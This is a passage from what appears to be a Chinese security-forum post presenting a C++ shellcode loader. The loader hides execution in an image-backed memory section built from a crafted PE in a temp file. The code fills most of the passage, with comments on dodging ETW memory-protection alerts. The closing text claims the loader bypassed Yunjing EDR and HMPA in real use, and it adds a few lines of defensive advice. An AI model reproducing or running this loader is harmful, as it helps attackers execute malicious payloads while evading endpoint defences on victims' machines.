if (ShellcodeInfo == nullptr || Size == 0) {
return false;
}
// -----------------------------------------------------------------------
// Step 2: Build the empty host PE and pick a free image base
// -----------------------------------------------------------------------
const DWORD imageSize = AlignUp(kScRva + static_cast<DWORD>(Size), kSectionAlignment);
const uintptr_t imageBase = FindFreeImageBase(imageSize);
if (imageBase == 0) {
return false;
}
std::vector<uint8_t> pe;
if (!BuildHostPe(Size, imageBase, pe)) {
return false;
}
// -----------------------------------------------------------------------
// Step 3: Write the empty host PE to a transient temp file
// -----------------------------------------------------------------------
wchar_t tempPath[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempPath) == 0) {
return false;
}
wchar_t tempFile[MAX_PATH];
if (GetTempFileNameW(tempPath, L"", 0, tempFile) == 0) {
return false;
}
HANDLE hFile = CreateFileW(tempFile, GENERIC_READ | GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
DeleteFileW(tempFile);
return false;
}
DWORD written = 0;
const BOOL wrote = WriteFile(hFile, pe.data(), static_cast<DWORD>(pe.size()), &written, NULL);
CloseHandle(hFile);
if (!wrote || written != pe.size()) {
DeleteFileW(tempFile);
return false;
}
// -----------------------------------------------------------------------
// Step 4: Reopen with execute access (required for SEC_IMAGE)
// -----------------------------------------------------------------------
HANDLE hImg = CreateFileW(tempFile, GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hImg == INVALID_HANDLE_VALUE) {
hImg = CreateFileW(tempFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
if (hImg == INVALID_HANDLE_VALUE) {
DeleteFileW(tempFile);
return false;
}
// -----------------------------------------------------------------------
// Step 5: Create an IMAGE section from the host PE (SEC_IMAGE)
// -----------------------------------------------------------------------
HANDLE hSection = NULL;
NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, kSecImage, hImg);
if (status != 0 || hSection == NULL) {
LogNtStatus("NtCreateSection", status);
CloseHandle(hImg);
DeleteFileW(tempFile);
return false;
}
// -----------------------------------------------------------------------
// Step 6: Release the file handle (the section keeps the file alive)
// -----------------------------------------------------------------------
CloseHandle(hImg);
// -----------------------------------------------------------------------
// Step 7: Map the image into the current process
// -----------------------------------------------------------------------
PVOID imageBaseMapped = NULL;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(hSection, GetCurrentProcess(), &imageBaseMapped,
0, 0, NULL, &viewSize, static_cast<SECTION_INHERIT>(kViewUnmap),
0, PAGE_EXECUTE_READ);
if (status != 0 || imageBaseMapped == NULL) {
LogNtStatus("NtMapViewOfSection", status);
NtClose(hSection);
DeleteFileW(tempFile);
return false;
}
// -----------------------------------------------------------------------
// Step 8: Mapping established - delete the temp file now. It never
// contained the shellcode (only the empty host PE).
// -----------------------------------------------------------------------
DeleteFileW(tempFile);
// -----------------------------------------------------------------------
// Step 9: Verify the mapping really is IMAGE-backed memory
// -----------------------------------------------------------------------
MEMORY_BASIC_INFORMATION mbi = {};
if (VirtualQuery(imageBaseMapped, &mbi, sizeof(mbi)) == 0 || mbi.Type != MEM_IMAGE) {
NtUnmapViewOfSection(GetCurrentProcess(), imageBaseMapped);
NtClose(hSection);
return false;
}
char buf[192];
snprintf(buf, sizeof(buf), "shellcode_x mapped at %p size=%zu type=MEM_IMAGE",
imageBaseMapped, viewSize);
// -----------------------------------------------------------------------
// Step 10: Write the shellcode into the mapped .text section. It is
// PAGE_EXECUTE_WRITECOPY at map time (declared EXECUTE|READ|WRITE in the
// crafted PE), so the write needs no protection change.
// -----------------------------------------------------------------------
void* codeSection = reinterpret_cast<void*>(
reinterpret_cast<uintptr_t>(imageBaseMapped) + kScRva);
std::memcpy(codeSection, ShellcodeInfo, Size);
FlushInstructionCache(GetCurrentProcess(), codeSection, Size);
// -----------------------------------------------------------------------
// Step 11: Execute the entry (SEH-guarded). No protection change: .text is
// already PAGE_EXECUTE_WRITECOPY (writable AND executable) from the map.
// Protection changes on IMAGE-backed executable memory are exactly what
// kernel ETW flags as critical memory corruption, so none is performed.
// -----------------------------------------------------------------------
void* entry = codeSection; // == base + AddressOfEntryPoint
const DWORD crashCode = RunShellcode(entry);
const bool success = (crashCode == 0);
if (!success) {
char excBuf[64];
snprintf(excBuf, sizeof(excBuf), "shellcode_x crashed with exception 0x%08lX", crashCode);
}
// -----------------------------------------------------------------------
// Step 12: Cleanup
// -----------------------------------------------------------------------
NtUnmapViewOfSection(GetCurrentProcess(), imageBaseMapped);
NtClose(hSection);
return success;
}
// ============================================================================
// Wrapper used by plugin / SHELLCODE_RUN dispatch paths
// ============================================================================
bool LoadShellcode_x(const uint8_t* code, size_t size, std::string& error) {
if (code == nullptr || size == 0) {
error = "shellcode buffer is empty";
return false;
}
const bool ok = LoadShellcode_x(const_cast<char*>(reinterpret_cast<const char*>(code)), size);
if (!ok && error.empty()) {
error = "shellcode_x loader failed";
}
return ok;
}
} // namespace beacon
int main() {
beacon::LoadShellcode_x((char*)rawData, (size_t)sizeof(rawData));
}· 防御建议
如文章所写的,他会有IMAGE的EXECUTE_READWRITE,NtMapViewOfSection时就应该扫内存结构了,不过如果NGAV还是对文件节属性不敏感的话,稍微变体是可以很好的绕过这一个EXECUTE_READWRITE的监测点的
加强对PE结构的验证,这个自构建的PE如果处理不好的话会缺少一堆东西,当然如果自构建的处理的好的话,PE结构验证还是很容易绕过的
· 实战截图
审核大大觉得这是AI生成的技术,实则不是,只是POC代码是AI写的,那我补上几个实战截图吧。
HMPA 正常上线,并且模块下发的功能也是加载器加载的,正常使用,并且用POC正常加载SHELLCODE(这个版本已知确实有防御SHELLCODE LOADER的能力):

· 后记
本质上就是抓住NGAV对文件节属性不敏感的特点,过于依赖内存API的监控,而不在意文件的监控,文件监控基本而且从完全无文件变成了废文件创建。
仅测试过云镜EDR,这个手法是可以绕过的,其他的NGAV我觉得这个方法也可以绕过。
本人先知论坛新人写手,请多多关照。
o(* ̄▽ ̄*)ブ
